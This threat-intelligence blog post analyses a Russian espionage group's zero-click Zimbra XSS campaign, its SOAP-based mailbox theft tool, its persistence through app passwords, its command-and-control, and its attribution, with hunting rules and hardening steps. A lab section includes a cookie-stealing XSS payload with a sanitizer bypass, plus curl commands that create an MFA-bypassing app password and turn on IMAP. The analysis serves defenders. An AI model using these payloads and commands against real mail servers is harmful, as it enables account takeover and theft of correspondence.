LAUNDRY BEAR Exposed: Dissecting Russia’s Zimbra-Targeting APT

A crafted email lands in a government mailbox. Nobody clicks a link. Nobody opens an attachment. The message simply renders, and by the time the preview pane finishes painting, an attacker in Russia is walking the Global Address List, minting a persistent app password, and shipping ninety days of correspondence out over DNS. That is the shape of LAUNDRY BEAR’s Zimbra campaign, and it is one of the cleaner examples in recent memory of how a “medium severity” XSS bug becomes a full-blown espionage engine.

CISA published AA26-204A on July 23, 2026, folding together work from the Netherlands’ AIVD and MIVD, Microsoft, Palo Alto Unit 42, and Proofpoint. This post pulls that intelligence apart into the pieces a defender actually needs: the vulnerability mechanics, the SOAP-driven collection workflow, the persistence trick that survives your password reset, the C2 plumbing, and, most importantly, the ZCS-specific artifacts that let you hunt this thing today.


The Actor: One Group, Four Names, and a Dutch Police Breach

LAUNDRY BEAR is the name AIVD and MIVD coined. Microsoft calls the same actor Void Blizzard. Unit 42 tracks it as CL-STA-1114. Proofpoint knows it as TA488, formerly UNK_PitStop. These are not perfectly interchangeable labels stapled to a single roster, and treating them as 1:1 is how analysts fool themselves. Each vendor draws its cluster from a different telemetry vantage point, so the overlaps are strong but the edges are fuzzy.

What everyone agrees on: this is a publicly unknown, almost certainly Russian state-supported actor. The Dutch services did not go looking for it in the abstract. The investigation started because of an opportunistic breach of the Dutch police in September 2024, during which the attacker walked away with work-related contact details for police employees. That single incident became the anchor for a much larger unmasking effort.

Here is the part worth internalizing. During the investigation, the Dutch repeatedly noticed similarities between LAUNDRY BEAR and APT28, the GRU Unit 26165 crew: overlapping target selection, shared fondness for password spraying. And yet AIVD and MIVD concluded, deliberately, that LAUNDRY BEAR and APT28 are two distinct actors. That distinction matters. Sloppy attribution collapses everything Russian into “Fancy Bear” and loses the operational texture. Microsoft added another dimension: Void Blizzard victims frequently overlap with Forest Blizzard, Midnight Blizzard, and Secret Blizzard targeting, which suggests collection tasking handed down from an organizational level above any single unit. Multiple hands, one shopping list.

Tracking nameVendor / agency
LAUNDRY BEARAIVD / MIVD (lead advisory)
Void BlizzardMicrosoft
CL-STA-1114Palo Alto Unit 42
TA488 (ex-UNK_PitStop)Proofpoint

The tradecraft profile is not that of a cutting-edge exploit shop. Earlier LAUNDRY BEAR operations leaned on unsophisticated initial access: password spraying, phishing, and pass-the-cookie replay of stolen session tokens. High volume, low elegance. What makes the Zimbra campaign notable is that this same crew got its hands on a genuine zero-day and built a slick, purpose-made collection tool around it.


Why Zimbra? The Structural Case for Targeting It

Ask why a Russian espionage group would obsess over Zimbra Collaboration Suite instead of the obvious Microsoft targets, and the honest answer is that Zimbra is where the intelligence-rich, telemetry-poor victims live.

Think about who runs on-premise ZCS in 2026. Governments that will not put their mail in a US-owned cloud. Defense contractors with air-gap-adjacent policies. NGOs, universities, and municipalities that cannot afford per-seat M365 licensing. Diplomatic and foreign-ministry deployments across Europe, the Middle East, and Africa. These are exactly the mailboxes a GRU-adjacent collector wants, and they sit on self-hosted Linux boxes that the owner is fully responsible for patching.

Now compare the defensive posture. When Microsoft 365 or Exchange Online gets attacked, you inherit an entire cloud security apparatus whether you asked for it or not: unified audit logging, sign-in risk scoring, Defender for Cloud Apps, conditional access, automatic anomaly detection on impossible-travel logins. Zimbra gives you /opt/zimbra/log/mailbox.log and whatever discipline you brought yourself. There is no CASB watching the SOAP traffic. No cloud DLP inspecting the outbound archive. No vendor SOC flagging the app-password creation. The telemetry exists, but you have to know it is there, parse it, and hunt it.

Then there is the code. ZCS has a Classic UI, a legacy webmail client with a rendering pipeline that predates modern content-security-policy hygiene. It has a long, unhappy history of stored XSS bugs (CVE-2024-45512 is a recent cousin, another sanitizer failure in the same product family). Self-hosted IMAP and ActiveSync endpoints are one config toggle away from being live. Put those together: a legacy HTML renderer, an authenticated SOAP API with sweeping privileges, protocol endpoints designed for legacy clients that skip modern auth, and an operator base that often lacks a dedicated blue team. That is not a coincidence of victimology. That is a structural invitation.

The CVE-2025-66376 scoring fight makes the point sharper. NVD scored it 6.1. A 6.1 does not jump most patch queues. Everybody chases the 9s and 10s. LAUNDRY BEAR built a five-month espionage campaign on a bug that plenty of shops would have deprioritized.


CVE-2025-66376: CSS @import as an XSS Primitive

Let’s get into the mechanism, because the “how” is where the interesting part lives.

FieldValue
CVE IDCVE-2025-66376
ClassCWE-79, stored XSS
CVSSNVD 6.1 / MITRE 7.2 (they disagree on user interaction)
AffectedZCS 10.0 before 10.0.18; ZCS 10.1 before 10.1.13
ComponentClassic UI HTML email renderer
Root causeInsufficient sanitization of CSS @import directives in HTML mail
PatchedNovember 2025
Zero-day windowroughly July to November 2025, about five months
KEV listedMarch 18, 2026

The bug is a stored cross-site scripting flaw in how the Classic UI renders HTML email. Zimbra runs incoming HTML mail through a sanitizer whose job is to strip anything dangerous before the DOM ever touches your session. The failure is in CSS @import handling. A crafted message stacks multiple @import directives, and something in the parser’s state handling lets a downstream payload slip past the filter that should have neutralized it. The net effect is that script content executes inside your authenticated webmail context.

That last clause is the whole ballgame. This is not reflected XSS bouncing off a search box. The payload runs inside the ZimbraHttpSession of the victim, which means it inherits the victim’s full authenticated rights to the SOAP API. Whatever you can do in webmail, the payload can do, silently, from JavaScript.

The two CVSS records fight over one word: interaction. NVD says viewing the message counts as user interaction and scores 6.1. MITRE says it does not and scores 7.2. Unit 42 splits the difference by calling it zero-click. They are all describing the same behavior. The script fires when the message renders, in the preview pane, and nothing else has to happen. Semantically, “the user opened their inbox” is not the kind of interaction a defender should take comfort in. Treat it as zero-click and move on.

Here is the payload skeleton, annotated and lab-benign:

<!-- Lab PoC: CVE-2025-66376 structure (lab target only, benign payload)
     Demonstrates how the @import chain survives the ZCS Classic UI
     sanitizer and how the SVG onload fires inside an authenticated session. -->
<html>
<head>
  <style>
    /* The @import chain manipulates the CSS parser state. In <10.0.18
       these directives survive sanitization and set up the bypass. */
    @import url("data:text/css,body{}");
    @import url("data:text/css,body{}");
    @import url("data:text/css,body{}");
  </style>
</head>
<body>
  <!-- The SVG onload carries the real payload. In LAUNDRY BEAR's mail this
       value is a Base64 blob wrapping an XOR-encrypted script
       (ATT&CK T1027.017 SVG smuggling, T1027.013 encrypted payload).
       Here it is a harmless proof of execution context. -->
  <svg onload="
    document.title = 'XSS_TRIGGERED: ' + document.cookie.split(';')[0];
    fetch('http://192.168.56.20:8443/hook?c=' +
      encodeURIComponent(document.cookie), {method:'POST', mode:'no-cors'});
  "/>
</body>
</html>

Two things to understand. The @import chain is not the payload, it is the key that unlocks the sanitizer bypass by pushing the CSS parser into a state where it stops neutralizing what follows. The svg onload is the delivery vehicle: SVG is treated as an image, so it slips through content filters aimed at scripts, and the onload handler fires the instant the element renders, before any XSS filter that runs later in the pipeline can catch up. In the real emails, the onload value is a Base64-encoded, XOR-encrypted script. Decode the outer Base64, XOR-decrypt the inner blob, and you get the actual JavaScript, which is a tool the operators call Ulej.


Ulej: From Rendered Email to Full Mailbox Compromise

Ulej translates from Russian as “beehive,” which is a fitting name for a tool that quietly empties the honey out of a mailbox. Proofpoint tracks the same capability as ZimReaper. It is a bespoke JavaScript data-exfiltration engine, and its most important design decision is that it does everything through Zimbra’s own SOAP API.

That choice is the reason this campaign is so hard to catch. There is no dropped binary, no new process, no shellcode, no reverse shell. From the operating system’s perspective, nothing anomalous happens. The payload just makes the same SOAP calls the legitimate webmail client makes all day, from the same session, over the same TLS. Detecting Ulej means detecting a pattern in normal-looking application traffic, not spotting a foreign process.

Once it fires with the victim’s session privileges, it runs a methodical collection sequence:

StageSOAP actionWhat it does
ReconGetInfoRequestPull email address, ZCS version, client type
2FA lootGetScratchCodesRequestHarvest MFA scratch codes
DirectorySearchGalRequest (brute-force 2-char queries)Enumerate the entire Global Address List
PersistenceCreateAppSpecificPasswordRequest name ZimbraWebMint an MFA-bypassing app password
PersistenceModifyPrefsRequest zimbraPrefImapEnabled=TRUETurn on IMAP for a durable foothold
Device reconOAuth consumer enumerationMap connected clients
CollectionSearchRequest, per-day, 90-day window, junk excludedScrape mail
ExfilDNS (Base32 subdomains) plus HTTPSShip it to Flowerbed

Look at the GAL enumeration for a second. Rather than issue one broad query, Ulej brute-forces two-character prefixes against SearchGalRequest to pull the complete directory. That single behavior is one of the loudest signals in the whole chain, because no human clicking through webmail generates dozens of two-letter directory searches in a minute.

The collection is scoped deliberately: ninety days of mail, pulled a day at a time, junk folder skipped. The day-at-a-time pattern is what feeds the persistence marker described below, and it keeps each individual SOAP response modest in size so nothing spikes.

By the time the sequence finishes, LAUNDRY BEAR has your address, your password material, your scratch codes, the full org directory, and ninety days of correspondence, plus a fresh credential and IMAP switched on. All of it collected by talking politely to your own mail server’s API.


Flowchart showing the Ulej JavaScript tool's sequential SOAP API calls from initial XSS fire through recon, MFA theft, GAL enumeration, persistence creation, mail collection, and exfiltration to Flowerbed C2
Ulej’s entire kill chain executes through Zimbra’s own SOAP API – no dropped binary, no foreign process, just authenticated application traffic.

The Persistence Problem: Why Patching Alone Loses the Account

This is the part that catches incident responders flat-footed, so slow down here.

Two of Ulej’s SOAP calls exist purely to survive your remediation. CreateAppSpecificPasswordRequest with the name ZimbraWeb mints an application-specific password. ModifyPrefsRequest flips zimbraPrefImapEnabled to TRUE, which enables IMAP on an account that may have had it off.

App-specific passwords are the credential type built for legacy clients (IMAP, ActiveSync) that cannot do TOTP challenge-response. They exist to bypass MFA by design, because a dumb IMAP client cannot prompt for a code. And, critically, they survive a password reset. That is the entire trap.

Walk the timeline of a naive response. You find the malicious email. You patch ZCS to 10.0.18. You force a password change on the affected user. You revoke the active webmail session. You declare victory. Meanwhile LAUNDRY BEAR reconnects over IMAP using the ZimbraWeb app password, from a Mullvad exit node, and keeps reading mail as if nothing happened. Your password reset did not touch that credential. Your patch closed the door they came in through, not the door they built on the way out.

In ATT&CK terms this is textbook T1078 Valid Accounts persistence layered on top of the initial exploit. The remediation rule that follows is not optional: any account touched by this campaign must have every app-specific password revoked and IMAP/ActiveSync state audited and reset, not just its login password rotated. If you skip that, you have not evicted anyone.


A secured main door representing a patched and password-reset account, with a hidden side door left open by the app-specific password that survives remediation
Patching CVE-2025-66376 and resetting the user’s password closes the front door – but the ZimbraWeb app password is a side door that was never touched.

Flowerbed: The C2 That Looks Like AI Wrote It

Where the data goes is a small Python project called Flowerbed, deployed as a Docker stack of four containers.

ContainerRole
CatcherPython app that receives and aggregates stolen data
NginxHTTPS reverse proxy; anti-honeypot gating
CertbotManages Let’s Encrypt TLS certificates
GardenerPython health check confirming Catcher is ingesting correctly

The exfil runs on two channels. Small, high-value items (account addresses, ZCS versions, passwords, scratch codes, app passcodes) go out as Base32-encoded subdomains in DNS queries, which sail through most egress filtering because DNS is rarely inspected at that depth. Larger payloads, the actual email bodies and attachment archives, go over HTTPS behind valid Let’s Encrypt certs so the traffic looks like ordinary browsing.

The Nginx layer has a nice piece of OPSEC. If the TLS Server Name Indication does not match an expected string, Nginx returns HTTP 444, which drops the connection with no response. That is an anti-honeypot and anti-scanner measure: point a curious researcher’s browser at the IP and you get nothing, because you did not send the secret SNI the operators bake into their client.

On the operator side, LAUNDRY BEAR fronts everything through Mullvad VPN (T1583) and rotates VPS infrastructure aggressively: each server typically lives only 7 to 60 days before they burn it and provision fresh (T1608). Provisioning is automated, containers deploy on their own once a box comes up.

And then the tell. The advisory notes that Flowerbed’s simplistic codebase shows signs of AI-assisted development (T1588.007), which, combined with their earlier reliance on off-the-shelf Evilginx2 (T1588.002), points to a group that is operationally capable but not a real software-engineering shop. They can wire together a phishing kit and prompt an LLM into a working exfil server, but they are not writing bespoke implants from scratch. That gap in true development capability is a genuine analytic signal, and it lines up with the earlier profile of a high-volume, low-sophistication crew that got lucky with one good bug.

One more piece of tradecraft context: before pointing this at US and NATO networks, LAUNDRY BEAR tested the Zimbra exploit against Ukrainian targets. Using Ukraine as a proving ground before scaling west is a documented GRU pattern, and it fits. Since at least November 2025 they also began sending phishing from compromised victim infrastructure (T1199), reusing earlier victims to launder later phishing past reputation filters.


Hierarchy diagram of the Flowerbed C2 stack showing Mullvad VPN operator anonymity, short-lived VPS infrastructure, Nginx SNI gating, the Catcher aggregator, Certbot TLS management, Gardener health checks, and two exfil channels via DNS and HTTPS
Flowerbed’s four-container Docker stack hides behind valid Let’s Encrypt certificates and drops connections from any client that sends the wrong SNI – a simple but effective anti-honeypot gate.

Standing Up the Chain in a Lab

You cannot write good detections for something you have not watched execute. Build a throwaway ZCS stack, pin it to the last vulnerable release, and never point any of this at production.

# docker-compose.yml (lab skeleton)
services:
  zcs-vuln:
    image: zimbra/zcs:10.0.17     # last pre-patch build; trial image
    ports:
      - "443:443"
      - "143:143"    # IMAP
      - "8080:8080"
    environment:
      - ZM_DOMAIN=lab.local
  fake-flowerbed:
    image: python:3.12-slim       # mock Catcher, logs incoming bodies
    command: python3 -m http.server 8443

Reconnaissance mirrors what LAUNDRY BEAR does when it scans for public ZCS and fingerprints versions:

nmap -sV -p 80,443,7071,143,993 192.168.56.10
curl -sk https://192.168.56.10/ | grep -i "zimbraVersion\|X-Zimbra"

Deliver the annotated XSS email from the earlier section to a lab mailbox, capture the resulting session token from your own browser’s cookies, then replay Ulej’s key SOAP stages by hand so you can see exactly what each one writes to mailbox.log:

ZTOKEN="<captured-from-lab-browser-cookie>"
ZCS="https://192.168.56.10"

# GetInfoRequest: establish victim context
curl -sk -b "ZM_AUTH_TOKEN=$ZTOKEN" -H "Content-Type: application/soap+xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
        <soap:Body><GetInfoRequest xmlns="urn:zimbraAccount"/></soap:Body>
      </soap:Envelope>' $ZCS/service/soap/

# The "ZimbraWeb" persistence credential
curl -sk -b "ZM_AUTH_TOKEN=$ZTOKEN" -H "Content-Type: application/soap+xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
        <soap:Body><CreateAppSpecificPasswordRequest xmlns="urn:zimbraAccount">
          <appName>ZimbraWeb</appName>
        </CreateAppSpecificPasswordRequest></soap:Body>
      </soap:Envelope>' $ZCS/service/soap/

# Flip IMAP on
curl -sk -b "ZM_AUTH_TOKEN=$ZTOKEN" -H "Content-Type: application/soap+xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
        <soap:Body><ModifyPrefsRequest xmlns="urn:zimbraAccount">
          <pref name="zimbraPrefImapEnabled">TRUE</pref>
        </ModifyPrefsRequest></soap:Body>
      </soap:Envelope>' $ZCS/service/soap/

Then confirm the foothold the way the operators would, over IMAP with the freshly minted app password, and check that zimbraPrefImapEnabled really took:

curl -v --ssl-reqd imaps://192.168.56.10 \
  --user "labuser@lab.local:ZIMBRAWEBPASSWORD" -X "SELECT INBOX"

Finally, point the XSS payload’s exfil at a local mock so nothing leaves the lab and you can read exactly what Catcher would have received:

# fake_catcher.py, Flask mock of Flowerbed Catcher
from flask import Flask, request
import json, datetime
app = Flask(__name__)

@app.route('/collect', methods=['POST'])
def collect():
    data = request.get_json(silent=True) or request.data
    with open('catcher_log.jsonl', 'a') as f:
        f.write(json.dumps({
            'ts': datetime.datetime.utcnow().isoformat(),
            'src_ip': request.remote_addr,
            'data': str(data)[:2000]
        }) + '\n')
    return '', 204

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8443, ssl_context='adhoc')

Watch it, then go write the rules that would have caught it.


How AIVD and MIVD Actually Unmasked This

The attribution methodology deserves attention on its own, because it is a model for doing this right rather than reaching for the nearest Russian bear.

The Dutch did not start with a hypothesis. They started with a real incident, the September 2024 police breach, and used it as an investigative anchor: known victim, known stolen data, known access window. From that anchor you pivot outward through victim correlation (who else got hit with the same tradecraft), code-reuse analysis (the same Ulej and Flowerbed fingerprints across intrusions), and infrastructure fingerprinting (the Mullvad-fronted, 7-to-60-day VPS rotation, the SNI-gated Nginx behavior, the Let’s Encrypt patterns).

Then the discipline. They saw genuine overlaps with APT28, target selection and password spraying, and instead of collapsing the two, they held them apart. LAUNDRY BEAR and APT28 are distinct actors. That restraint is the difference between intelligence and pattern-matching. It would have been easier and cheaper to call it Fancy Bear and go home.

Confidence went up because the attribution was corroborated across independent vantage points. Microsoft’s Void Blizzard reporting, Unit 42’s CL-STA-1114, and Proofpoint’s TA488 were assembled from different telemetry, and they converged. When a government SIGINT-backed assessment and three commercial vendors independently draw overlapping clusters, the “highly probable Russian state-supported” judgment stops being a guess. Microsoft’s observation that Void Blizzard victims overlap with three other Blizzard clusters added the strategic frame: this is centralized collection tasking, not a lone-wolf group.

That is the template. Anchor on a concrete incident, corroborate across independent sources, and refuse to over-attribute even when the overlaps are tempting.


Detection and Defense

The single most valuable log on the box is /opt/zimbra/log/mailbox.log. Ulej is loud there precisely because it makes so many SOAP requests. Start hunting:

# The ZimbraWeb persistence credential
grep -E "CreateAppSpecificPasswordRequest.*ZimbraWeb" /opt/zimbra/log/mailbox.log

# IMAP being switched on
grep -E "ModifyPrefsRequest.*zimbraPrefImapEnabled.*TRUE" /opt/zimbra/log/mailbox.log

# 2FA scratch code theft
grep "GetScratchCodesRequest" /opt/zimbra/log/mailbox.log

# GAL brute-force: many SearchGalRequest from one account in a short window
grep "SearchGalRequest" /opt/zimbra/log/mailbox.log \
  | awk '{print $1,$2,$NF}' | sort | uniq -c | sort -rn | head -20

On any Windows endpoint that touched Zimbra webmail, the browser localStorage is a goldmine. Ulej uses localStorage keys of the form zd_comp_YYYY-MM-DD to track which days it already exfiltrated, so the populated keys are a literal manifest of stolen dates:

// DevTools console on the ZCS webmail page
Object.keys(localStorage).filter(k => /^zd_comp_\d{4}-\d{2}-\d{2}$/.test(k))
// Each match is a day of mail Ulej pulled.

For network detection, hunt the two exfil channels. Base32 DNS labels show up as long uppercase-and-digit subdomains on hosts near your ZCS box:

# Base32 alphabet: A-Z and 2-7. Flag labels over ~30 chars.
grep -E "[A-Z2-7]{30,}\." /var/log/zeek/dns.log

For HTTPS, a ZCS host suddenly reaching out to short-lived VPS infrastructure carrying fresh Let’s Encrypt certs, especially with odd SNI values, is high-confidence. Cross-reference source IPs of IMAP and SMTP auth against Mullvad’s published server list, since the operators front through Mullvad.

For IMAP anomalies specifically, hunt logins that use an app-specific password rather than a standard auth token, that originate from an IP with no preceding webmail session, that land within hours of a suspicious email delivery, or that trace to Mullvad exits. Auth events surface in mailbox.log with cmd=login, and mailbox reads show up as ImapFetch and ImapCopyMessage operations.

Fold it into a rule:

title: LAUNDRY BEAR ZCS Ulej SOAP Exploit Indicators
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: >
  SOAP sequences in Zimbra mailbox.log consistent with the Ulej
  capability (AA26-204A / CVE-2025-66376).
logsource:
  product: zimbra
  service: mailbox      # /opt/zimbra/log/mailbox.log
detection:
  selection_apppass:
    message|contains|all:
      - 'CreateAppSpecificPasswordRequest'
      - 'ZimbraWeb'
  selection_imap:
    message|contains|all:
      - 'ModifyPrefsRequest'
      - 'zimbraPrefImapEnabled'
      - 'TRUE'
  selection_scratch:
    message|contains: 'GetScratchCodesRequest'
  condition: selection_apppass or selection_imap or selection_scratch
level: high

ATT&CK mapping to drive coverage: T1566 (phishing delivery), T1027.013 and T1027.017 (encrypted payload, SVG smuggling), T1078 (valid accounts via the app password), T1114 (email collection), T1583 / T1608 (infrastructure acquisition and staging), T1588.002 / T1588.007 (open-source and AI-assisted tooling), T1199 (trusted-relationship phishing from prior victims).

Hardening, in priority order:

  1. Patch to ZCS 10.0.18 or 10.1.13 or later. Non-negotiable, but not sufficient on its own.
  2. Revoke every app-specific password on any account that touched a suspect message, and audit IMAP/ActiveSync state. Do not stop at password resets, they do not kill the ZimbraWeb credential.
  3. Disable IMAP and app passwords org-wide unless a documented business need exists, and alert on zimbraPrefImapEnabled flips.
  4. Tighten egress. ZCS servers should not be making arbitrary outbound DNS or HTTPS to fresh VPS hosts. Restrict and inspect.
  5. Deploy a strict Content-Security-Policy on the ZCS webmail app to blunt the next inevitable Classic UI XSS.
  6. Alert on high-rate SearchGalRequest from a single account, the clearest single behavioral tell in the whole chain.

Key Takeaways

  • A CVSS 6.1 XSS ran a five-month state espionage campaign. Stop letting severity scores alone drive your patch queue when the affected product is a webmail server full of the exact data an intelligence service wants.
  • CVE-2025-66376 is effectively zero-click. The payload fires on render inside an authenticated session, so “we told users not to click” is not a control here.
  • Ulej hides in plain sight by using Zimbra’s own SOAP API. Detection is behavioral, not signature-based: hunt the pattern, not the binary.
  • The ZimbraWeb app password plus zimbraPrefImapEnabled=TRUE is the persistence that beats your remediation. Patch and password reset without revoking app passwords leaves the attacker still inside.
  • The zd_comp_YYYY-MM-DD localStorage keys are a free breach-scope manifest. Check them first during IR.
  • AIVD and MIVD did attribution right: anchor on a real incident, corroborate across independent sources, and refuse to collapse LAUNDRY BEAR into APT28 just because the overlaps were tempting.

Related Tutorials

References